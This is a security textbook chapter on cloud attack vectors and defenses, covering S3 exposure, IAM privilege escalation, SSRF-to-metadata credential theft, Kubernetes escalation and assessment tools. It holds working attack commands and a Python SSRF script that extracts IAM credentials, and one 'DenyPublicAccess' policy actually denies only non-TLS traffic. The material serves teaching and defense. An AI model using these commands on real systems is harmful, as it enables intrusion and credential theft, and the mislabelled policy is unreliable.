Part II: Vulnerability Study Chapter 10

Cloud Security and Attack Vectors

Cloud misconfigurations, IAM exploitation, metadata service attacks, and cloud security assessment

Chapter 10: Cloud Security and Attack Vectors

The S3 Bucket That Leaked Everything

In June 2017, security researcher Chris Vickery discovered a misconfigured Amazon S3 bucket belonging to Booz Allen Hamilton, a contractor working for the National Security Agency (NSA) and the National Geospatial-Intelligence Agency (NGA). The bucket contained classified intelligence data, including code words for intelligence programs, Pentagon surveillance data, and personal details of individuals flagged for terrorism.

The misconfiguration? A simple checkbox. The bucket was set to “public” instead of “private.”

It sat exposed on the internet for months until Vickery discovered it. Anyone with the bucket’s URL—which could be found through simple enumeration—could download its entire contents without any authentication.

This wasn’t an isolated incident. That same year, similar S3 misconfigurations exposed massive amounts of data:

Date	Company	Data Exposed	Records
June 2017	Deep Root Analytics (RNC contractor)	Voter profiles with modeled preferences	198 million
June 2017	Booz Allen Hamilton (NSA contractor)	Classified intelligence data	Unknown
July 2017	NICE Systems (Verizon partner)	Customer call records and account PINs	14 million
September 2017	Alteryx (data analytics firm)	Consumer financial data	123 million households
October 2017	Accenture	Passwords, decryption keys, cloud credentials	40,000+

The pattern repeated: cloud storage, misconfigured, discovered by researchers (or attackers) months later.

Cloud security isn’t just traditional security in a new location—it’s a fundamentally different trust model with its own attack vectors. The shared responsibility model means cloud providers secure the infrastructure, but you secure your configurations. One checkbox can expose everything.

The Cloud Security Paradigm

Shared Responsibility Model

Cloud security operates on a shared responsibility model:

Shared Responsibility

Shared Responsibility:
─────────────────────

┌─────────────────────────────────────────────────────────────────┐
│                    CUSTOMER RESPONSIBILITY                      │
│                    "Security IN the cloud"                      │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  Data, Encryption, Identity Management                  │    │
│  │  Application Security, OS Patching (IaaS)               │    │
│  │  Network Configuration, Security Groups                 │    │
│  │  Access Management, Logging Configuration               │    │
│  └─────────────────────────────────────────────────────────┘    │
├─────────────────────────────────────────────────────────────────┤
│                    PROVIDER RESPONSIBILITY                      │
│                    "Security OF the cloud"                      │
│                                                                 │
│  ┌─────────────────────────────────────────────────────────┐    │
│  │  Physical Security, Hardware, Hypervisor                │    │
│  │  Network Infrastructure, Service Availability           │    │
│  │  Managed Service Security (PaaS/SaaS)                   │    │
│  └─────────────────────────────────────────────────────────┘    │
└─────────────────────────────────────────────────────────────────┘

The line shifts based on service model:
IaaS: Customer has most responsibility
PaaS: Shared more evenly  
SaaS: Provider has most responsibility

Why Cloud Is Different

Traditional Security	Cloud Security
Physical perimeter	No physical boundary
Manual provisioning	API-driven, automated
Slow changes	Rapid, continuous changes
Limited scale	Massive, dynamic scale
On-premises skills	New skills required
Audit trails local	Audit trails distributed

Cloud Misconfiguration Vulnerabilities

Misconfigurations are the #1 cause of cloud security incidents.

Storage Bucket Exposure

The vulnerability: Cloud storage (S3, GCS, Azure Blob) can be configured for public access.

S3 Bucket Access Levels

S3 Bucket Access Levels:
───────────────────────

Private (Default):
└── Only bucket owner can access

Public-Read:
└── Anyone can LIST and READ objects
└── Objects accessible via URL

Public-Read-Write:
└── Anyone can READ, WRITE, DELETE
└── Complete exposure

Authenticated Users:
└── Any AWS account can access
└── NOT limited to YOUR account!

Discovery techniques:

# Enumerate S3 buckets for a target
# Using common naming patterns
company-backup
company-data
company-dev
company-prod
company-staging
company.com-backup

# Tools for automated discovery
# AWS CLI (authorized testing only)
aws s3 ls s3://bucket-name --no-sign-request

# S3Scanner
python3 s3scanner.py --bucket bucket-name

# Check for public access
curl -I https://bucket-name.s3.amazonaws.com/
# 200 OK = public
# 403 Forbidden = private

Attack example:

# Found a public bucket
aws s3 ls s3://company-backup --no-sign-request

# List contents
aws s3 ls s3://company-backup --recursive --no-sign-request

# Download files (if readable)
aws s3 cp s3://company-backup/database.sql . --no-sign-request

# If writable - upload malicious file (authorized testing only!)
aws s3 cp malware.exe s3://company-backup/ --no-sign-request

Detection

# AWS CLI to check bucket ACL
aws s3api get-bucket-acl --bucket bucket-name

# Check bucket policy
aws s3api get-bucket-policy --bucket bucket-name

# Check public access block
aws s3api get-public-access-block --bucket bucket-name

Defense

# Enable public access block (AWS)
aws s3api put-public-access-block --bucket bucket-name \
    --public-access-block-configuration \
    'BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true'

# Use bucket policies with explicit deny
{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyPublicAccess",
    "Effect": "Deny",
    "Principal": "*",
    "Action": "s3:*",
    "Resource": [
      "arn:aws:s3:::bucket-name",
      "arn:aws:s3:::bucket-name/*"
    ],
    "Condition": {
      "Bool": {"aws:SecureTransport": "false"}
    }
  }]
}

IAM Exploitation

Identity and Access Management (IAM) vulnerabilities allow privilege escalation and unauthorized access.

Overly Permissive Policies

The vulnerability: IAM policies that grant more permissions than needed.

// DANGEROUS: Administrator access to all resources
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

// DANGEROUS: Commonly seen misconfiguration
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "s3:*",
    "Resource": "*"
  }]
}

Privilege Escalation Paths

IAM Privilege Escalation Techniques

IAM Privilege Escalation Techniques:
───────────────────────────────────

1. iam:CreatePolicyVersion
   └── Create new version of attached policy with more permissions

2. iam:SetDefaultPolicyVersion  
   └── Set a more permissive policy version as default

3. iam:AttachUserPolicy / iam:AttachRolePolicy
   └── Attach AdministratorAccess to self

4. iam:CreateAccessKey
   └── Create access keys for other users

5. iam:PassRole + ec2:RunInstances
   └── Launch EC2 with privileged role, access from instance

6. lambda:CreateFunction + iam:PassRole
   └── Create Lambda with privileged role, invoke function

7. sts:AssumeRole
   └── Assume more privileged role if trust policy allows

Tool: Pacu

# AWS exploitation framework
# Install
pip3 install pacu

# Start Pacu
pacu

# Configure with compromised credentials
Pacu > set_keys

# Enumerate permissions
Pacu > run iam__enum_users_roles_policies_groups
Pacu > run iam__enum_permissions

# Find privilege escalation paths
Pacu > run iam__privesc_scan

# Execute escalation (authorized testing only!)
Pacu > run iam__privesc_scan --exploit

Defense

// Principle of Least Privilege policy
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": [
      "s3:GetObject",
      "s3:ListBucket"
    ],
    "Resource": [
      "arn:aws:s3:::specific-bucket",
      "arn:aws:s3:::specific-bucket/*"
    ],
    "Condition": {
      "IpAddress": {"aws:SourceIp": "10.0.0.0/8"},
      "Bool": {"aws:SecureTransport": "true"}
    }
  }]
}

IAM Security Best Practices:

No wildcard (*) actions or resources
Require MFA for sensitive operations
Use conditions to restrict access context
Regular access reviews
Use IAM Access Analyzer

Instance Metadata Service (IMDS) Attacks

The most exploited cloud vulnerability—and the one from our opening chapter on the Capital One breach.

Understanding IMDS

Every cloud instance can query a metadata service:

IMDS Endpoints

IMDS Endpoints:
──────────────

AWS:        http://169.254.169.254/latest/meta-data/
Azure:      http://169.254.169.254/metadata/instance
GCP:        http://metadata.google.internal/computeMetadata/v1/

Accessible data:
├── Instance ID, region, availability zone
├── Network configuration
├── User data scripts (potentially sensitive)
├── IAM role name
└── Temporary security credentials (!!)

SSRF to IMDS

Server-Side Request Forgery can reach the metadata service:

SSRF Attack Chain

SSRF Attack Chain:
─────────────────

1. Find SSRF vulnerability (URL parameter, file fetch, etc.)
   https://app.example.com/fetch?url=USER_INPUT

2. Request metadata service
   https://app.example.com/fetch?url=http://169.254.169.254/

3. Retrieve IAM credentials
   https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

4. Get role name, then get credentials
   https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name

5. Response contains:
   {
     "AccessKeyId": "ASIA...",
     "SecretAccessKey": "...",
     "Token": "...",
     "Expiration": "..."
   }

6. Use credentials to access AWS APIs

Attack automation:

#!/usr/bin/env python3
"""
SSRF to IMDS exploitation example
Only use against systems you have authorization to test!
"""

import requests

def exploit_ssrf_to_imds(vulnerable_url, param_name):
    """
    Exploit SSRF to extract IMDS credentials.
    
    Args:
        vulnerable_url: URL with SSRF vulnerability
        param_name: Parameter name that accepts URLs
    """
    
    # Step 1: Get instance identity
    identity_url = (
        f"{vulnerable_url}?{param_name}="
        "http://169.254.169.254/latest/meta-data/instance-id"
    )
    instance_id = requests.get(identity_url).text
    print(f"[+] Instance ID: {instance_id}")
    
    # Step 2: Get IAM role name
    role_url = (
        f"{vulnerable_url}?{param_name}="
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    )
    role_name = requests.get(role_url).text
    print(f"[+] IAM Role: {role_name}")
    
    # Step 3: Get credentials
    creds_url = (
        f"{vulnerable_url}?{param_name}="
        f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
    )
    credentials = requests.get(creds_url).json()
    
    print(f"[+] Access Key: {credentials['AccessKeyId']}")
    print(f"[+] Secret Key: {credentials['SecretAccessKey'][:20]}...")
    print(f"[+] Token: {credentials['Token'][:50]}...")
    print(f"[+] Expiration: {credentials['Expiration']}")
    
    return credentials

# Example usage (authorized testing only!)
# creds = exploit_ssrf_to_imds(
#     "https://vulnerable-app.com/fetch",
#     "url"
# )

IMDSv2 Protection

AWS IMDSv2 adds token requirement:

# IMDSv1 (vulnerable to SSRF)
curl http://169.254.169.254/latest/meta-data/

# IMDSv2 (requires PUT for token, then token header)
# Step 1: Get token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

# Why this helps:
# - SSRF requests typically can't add custom headers
# - PUT requests are blocked by many proxies
# - Token has limited TTL

Defense

# Enforce IMDSv2 (AWS)
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

# For new instances in launch template
{
  "MetadataOptions": {
    "HttpTokens": "required",
    "HttpPutResponseHopLimit": 1,
    "HttpEndpoint": "enabled"
  }
}

# Limit IAM role permissions
# Even if credentials are stolen, limit what they can do

Cloud Reconnaissance

Subdomain and Service Enumeration

# Find cloud-hosted services
# Check DNS for cloud provider records
dig +short cname target.com
dig +short txt _amazonses.target.com

# Common cloud naming patterns
s3.target.com
api.target.com
app.target.com
staging.target.com

# Tools for enumeration
# cloud_enum - Multi-cloud enumeration
python3 cloud_enum.py -k target

# Output:
# [S3] target-backup.s3.amazonaws.com
# [Azure] target.blob.core.windows.net
# [GCP] target.storage.googleapis.com

Cloud Range Identification

# AWS IP ranges
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq '.prefixes[].ip_prefix'

# Check if IP is AWS
curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | \
    jq -r '.prefixes[] | select(.ip_prefix | contains("52.94."))'

# Azure IP ranges
# Download from Microsoft Download Center

# GCP IP ranges
dig txt _cloud-netblocks.googleusercontent.com

Exposed Cloud Resources

# GrayhatWarfare - Search for exposed S3 buckets
# https://grayhatwarfare.com

# Censys/Shodan for cloud services
shodan search "org:Amazon" port:27017

# GitHub for leaked credentials
# Search for:
# - AWS_ACCESS_KEY_ID
# - AKIA (AWS key prefix)
# - api.aws
# - s3.amazonaws.com

Kubernetes Cloud Attacks

When Kubernetes runs in the cloud, cloud-specific attacks apply.

Pod to Cloud Escalation

Kubernetes → Cloud Attack Path

Kubernetes → Cloud Attack Path:
──────────────────────────────

1. Gain access to pod (vulnerability, misconfiguration)

2. Check for cloud credentials:
   # AWS - Instance role via IMDS
   curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
   
   # GCP - Service account token
   curl -H "Metadata-Flavor: Google" \
     http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

3. Check for mounted service account tokens:
   cat /var/run/secrets/kubernetes.io/serviceaccount/token

4. Use discovered credentials:
   # AWS - Configure CLI
   export AWS_ACCESS_KEY_ID=...
   export AWS_SECRET_ACCESS_KEY=...
   export AWS_SESSION_TOKEN=...
   aws sts get-caller-identity
   
   # Then enumerate and exploit

Defense

# Disable service account token automounting
apiVersion: v1
kind: ServiceAccount
metadata:
  name: no-cloud-access
automountServiceAccountToken: false

# Pod without cloud access
apiVersion: v1
kind: Pod
spec:
  serviceAccountName: no-cloud-access
  automountServiceAccountToken: false
  containers:
  - name: app
    # ... container spec

Cloud Security Assessment Tools

Multi-Cloud Tools

Tool	Coverage	Use Case
ScoutSuite	AWS, Azure, GCP, etc.	Comprehensive audit
Prowler	AWS	Deep AWS assessment
Cloudsploit	Multi-cloud	Compliance focused
Steampipe	Multi-cloud	SQL-based queries

ScoutSuite Usage

# Install
pip3 install scoutsuite

# AWS assessment
scout aws --profile myprofile

# Azure assessment
scout azure --cli

# Report generated in HTML format
# Review findings by severity

Prowler Usage

# Install
pip3 install prowler

# Run all checks
prowler aws

# Run specific check category
prowler aws --categories forensics-ready

# Run compliance check
prowler aws --compliance cis_1.4_aws

# Output example:
# PASS: 1.1 Avoid the use of root account
# FAIL: 1.4 Ensure access keys are rotated every 90 days
# ...

Cloud Security Best Practices

Security Checklist

Identity & Access:

Enable MFA for all users
Use roles instead of access keys where possible
Implement least privilege
Review IAM policies regularly
Use AWS Organizations/Azure Management Groups

Network:

Use VPCs/VNets for isolation
Implement security groups properly
Enable VPC Flow Logs
Use private endpoints for services
No 0.0.0.0/0 ingress unless necessary

Data:

Enable encryption at rest
Enable encryption in transit
Block public access on storage
Enable versioning on critical buckets
Implement data classification

Monitoring:

Enable CloudTrail/Activity Logs
Set up alerting on suspicious activity
Review logs regularly
Enable GuardDuty/Defender/Security Command Center

Instance:

Require IMDSv2
Minimize instance permissions
Keep images patched
Use hardened AMIs/images

Key Takeaways

Shared responsibility means cloud providers secure infrastructure, but you secure configurations
Storage misconfiguration is the most common cloud vulnerability—always verify bucket/blob permissions
IAM privilege escalation paths are numerous—audit policies and use least privilege
IMDS attacks can expose credentials via SSRF—use IMDSv2 and restrict role permissions
Cloud reconnaissance reveals exposed resources—attackers enumerate your infrastructure
Automated assessment tools (ScoutSuite, Prowler) find common misconfigurations
Defense requires layers: identity, network, data, monitoring all matter

Review Questions

Explain the shared responsibility model and how it affects security ownership.
How can an S3 bucket become publicly accessible, and how would you detect this?
What is the IMDS, and why is it a security concern?
Describe an IAM privilege escalation path and how to prevent it.
What tools would you use to assess cloud security posture?

Chapter 10: Cloud Security and Attack Vectors

The S3 Bucket That Leaked Everything

The Cloud Security Paradigm

Shared Responsibility Model

Why Cloud Is Different

Cloud Misconfiguration Vulnerabilities

Storage Bucket Exposure

Detection

Defense

IAM Exploitation

Overly Permissive Policies

Privilege Escalation Paths

Defense

Instance Metadata Service (IMDS) Attacks

Understanding IMDS

SSRF to IMDS

IMDSv2 Protection

Defense

Cloud Reconnaissance

Subdomain and Service Enumeration

Cloud Range Identification

Exposed Cloud Resources

Kubernetes Cloud Attacks

Pod to Cloud Escalation

Defense

Cloud Security Assessment Tools

Multi-Cloud Tools

ScoutSuite Usage

Prowler Usage

Cloud Security Best Practices

Security Checklist

Key Takeaways

Review Questions

Further Reading